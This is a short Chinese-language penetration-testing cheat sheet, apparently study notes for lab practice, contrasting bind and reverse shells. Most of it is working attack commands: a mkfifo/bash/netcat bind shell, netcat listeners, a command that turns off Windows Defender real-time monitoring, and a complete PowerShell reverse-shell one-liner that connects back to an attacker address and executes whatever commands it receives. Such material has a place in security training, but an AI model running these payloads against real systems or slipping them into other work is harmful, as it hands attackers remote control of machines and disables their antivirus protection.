:::info
- 反向 SHELL : 目标主动连接攻击主机。
该方法在绕过防火墙时非常有用
- 绑定 SHELL :目标主机监听一个端口获取攻击者连接
容易被防火墙拦截
:::
SHELL 基础
绑定 SHELL
使用绑定 SHELL ,目标系统会启动一个侦听器并等待攻击机的连接
# 目标系统--将 Bash shell 绑定到 TCP 会话
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.59.215 7777 > /tmp/f
# 攻击机
nc -nv 10.129.59.215 7777
Reverse SHELL
使用 Reverse shell , 攻击框将运行一个侦听器,目标将需要启动连接 Reverse shell 在线生成器 —> 跳转链接
# 攻击机
sudo nc -lvnp 443
# 目标系统 -- windows
Set-MpPreference -DisableRealtimeMonitoring $true
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"